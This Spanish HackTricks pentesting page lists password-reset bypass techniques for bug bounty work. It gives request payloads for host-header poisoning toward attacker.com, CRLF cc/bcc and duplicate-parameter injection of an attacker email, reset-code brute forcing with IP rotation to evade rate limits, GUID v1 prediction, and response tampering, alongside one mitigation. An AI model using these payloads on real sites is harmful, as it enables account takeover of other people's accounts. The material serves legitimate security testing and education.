14 KiB
Omisión de Contraseña Restablecida/Olvidada
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF revisa los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github de HackTricks y HackTricks Cloud.
Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de recompensas por errores!
Perspectivas de Hacking
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking.
Noticias de Hacking en Tiempo Real
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real.
Últimos Anuncios
Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones críticas de la plataforma.
Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy mismo!
La siguiente recopilación de técnicas fue tomada de https://anugrahsr.github.io/posts/10-Password-reset-flaws/
Fuga de Token de Restablecimiento de Contraseña Vía Referente
El HTTP referer es un campo de encabezado HTTP opcional que identifica la dirección de la página web que está vinculada al recurso que se está solicitando. El encabezado de solicitud Referer contiene la dirección de la página web anterior desde la cual se siguió un enlace a la página actualmente solicitada.
Explotación
- Solicita el restablecimiento de la contraseña a tu dirección de correo electrónico.
- Haz clic en el enlace de restablecimiento de contraseña.
- No cambies la contraseña.
- Haz clic en cualquier sitio web de terceros (por ejemplo: Facebook, Twitter).
- Intercepta la solicitud en el proxy de Burpsuite.
- Verifica si el encabezado referer está filtrando el token de restablecimiento de contraseña.
Impacto
Permite a la persona que tiene control sobre un sitio en particular cambiar la contraseña del usuario (ataque CSRF), porque esta persona conoce el token de restablecimiento de contraseña del usuario.
Referencia:
- https://hackerone.com/reports/342693
- https://hackerone.com/reports/272379
- https://hackerone.com/reports/737042
- https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a
- https://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1
Envenenamiento de Restablecimiento de Contraseña
Si encuentras un ataque de encabezado de host y está fuera de alcance, ¡intenta encontrar el botón de restablecimiento de contraseña!
Explotación
- Intercepta la solicitud de restablecimiento de contraseña en Burpsuite.
- Añade el siguiente encabezado o edita el encabezado en Burpsuite (prueba uno por uno)
Host: attacker.com
Host: target.com
X-Forwarded-Host: attacker.com
Host: target.com
Host: attacker.com
- Verifica si el enlace para cambiar la contraseña dentro del correo electrónico apunta a attacker.com
Solución
Usa $_SERVER['SERVER_NAME']
en lugar de $_SERVER['HTTP_HOST']
$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";
Impacto
La víctima recibirá el enlace malicioso en su correo electrónico y, al hacer clic, revelará el enlace/token de restablecimiento de contraseña del usuario al atacante, lo que llevará a la toma total de la cuenta.
Referencia:
- https://hackerone.com/reports/226659
- https://hackerone.com/reports/167631
- https://www.acunetix.com/blog/articles/password-reset-poisoning/
- https://pethuraj.com/blog/how-i-earned-800-for-host-header-injection-vulnerability/
- https://medium.com/@swapmaurya20/password-reset-poisoning-leading-to-account-takeover-f178f5f1de87
Restablecimiento de Contraseña Manipulando el Parámetro de Correo Electrónico
Explotación
- Añadir correo electrónico del atacante como segundo parámetro usando &
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
- Agregar correo electrónico del atacante como segundo parámetro utilizando %20
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
- Agrega el correo electrónico del atacante como segundo parámetro utilizando |
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
- Agregar el correo electrónico del atacante como segundo parámetro usando cc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
- Agregar correo electrónico del atacante como segundo parámetro usando bcc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
- Agrega el correo electrónico del atacante como segundo parámetro usando ,
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
- Agregar correo electrónico del atacante como segundo parámetro en el arreglo json
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
Referencia
- https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
- https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
- https://twitter.com/HusseiN98D/status/1254888748216655872
Cambio de Correo Electrónico y Contraseña de cualquier Usuario a través de Parámetros de la API
Explotación
- El atacante debe iniciar sesión con su cuenta e ir a la función Cambiar contraseña
- Iniciar Burp Suite e Intercepta la solicitud
- Después de interceptar la solicitud, envíala al repetidor y modifica los parámetros Email y Contraseña
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
Referencia
Sin Límite de Tasa: Bombardeo de Correo Electrónico
Explotación
- Inicia Burp Suite e Intercepta la solicitud de restablecimiento de contraseña
- Enviar a intruso
- Utilizar carga útil nula
Referencia
Descubre Cómo se Genera el Token de Restablecimiento de Contraseña
Descubre el patrón del token de restablecimiento de contraseña
Si está
- Generado basado en Timestamp
- Generado basado en el UserID
- Generado basado en el correo electrónico del Usuario
- Generado basado en Nombre y Apellido
- Generado basado en Fecha de Nacimiento
- Generado basado en Criptografía
Utiliza Burp Sequencer para encontrar la aleatoriedad o previsibilidad de los tokens.
GUID Adivinable
Existen diferentes tipos de GUIDs:
- Versión 0: Solo se ve en el GUID nulo ("00000000-0000-0000-0000-000000000000").
- Versión 1: El GUID se genera de manera predecible basado en:
- El tiempo actual
- Una "secuencia de reloj" generada aleatoriamente que permanece constante entre GUIDs durante el tiempo de actividad del sistema generador
- Un "ID de nodo", que se genera basado en la dirección MAC del sistema si está disponible
- Versión 3: El GUID se genera utilizando un hash MD5 de un nombre y espacio de nombres proporcionados.
- Versión 4: El GUID se genera aleatoriamente.
- Versión 5: El GUID se genera utilizando un hash SHA1 de un nombre y espacio de nombres proporcionados.
Es posible echar un vistazo a un GUID y descubrir su versión, hay una pequeña herramienta para eso: guidtool****
guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
UUID version: 1
UUID time: 2021-11-17 17:52:18.141000
UUID timestamp: 138564643381410000
UUID node: 17547390002044
UUID MAC address: 0f:f5:91:f2:a3:7c
UUID clock sequence: 3426
Si la versión utilizada para generar un GUID de restablecimiento de contraseña es la versión 1, es posible forzar bruscamente los GUIDS:
guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
a34aca00-47d0-11ec-8d62-0ff591f2a37c
a34af110-47d0-11ec-8d62-0ff591f2a37c
Referencias
Manipulación de respuesta: Reemplazar respuesta mala por una buena
Busca solicitudes y respuestas como estas
HTTP/1.1 401 Unauthorized
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)
Cambio de Respuesta
HTTP/1.1 200 OK
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
Referencia
Uso de Token Expirado
- Verificar si el token expirado puede ser reutilizado
Fuerza Bruta en Token de Restablecimiento de Contraseña
Intentar realizar fuerza bruta al token de restablecimiento utilizando Burpsuite
POST /resetPassword
[...]
email=victim@email.com&code=$BRUTE$
- Utiliza IP-Rotator en burpsuite para evitar el límite de tasa basado en IP.
Referencia
Intenta Usar Tu Token
- Intenta agregar tu token de restablecimiento de contraseña con la cuenta de la víctima
POST /resetPassword
[...]
email=victim@email.com&code=$YOUR_TOKEN$
Referencia
Invalidación de Sesión en Cierre de Sesión/Restablecimiento de Contraseña
Cuando un usuario cierra sesión o restablece su contraseña, la sesión actual debería invalidarse.
Por lo tanto, captura las cookies mientras el usuario está conectado, cierra sesión y verifica si las cookies aún son válidas.
Repite el proceso cambiando la contraseña en lugar de cerrar sesión.
Tiempo de Expiración del Token de Restablecimiento
Los tokens de restablecimiento deben tener un tiempo de expiración, después de este el token no debería ser válido para cambiar la contraseña de un usuario.
Verificaciones Adicionales
- Usa username@burp_collab.net y analiza el callback
- Usuario copia de carbono email=victim@mail.com%0a%0dcc:hacker@mail.com
- Contraseña larga (>200) conduce a DoS
- Añade un segundo parámetro de email y valor
Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de recompensas por errores.
Perspectivas de Hacking
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking.
Noticias de Hacking en Tiempo Real
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e insights en tiempo real.
Últimos Anuncios
Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones críticas de la plataforma.
Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy mismo.
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos.
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.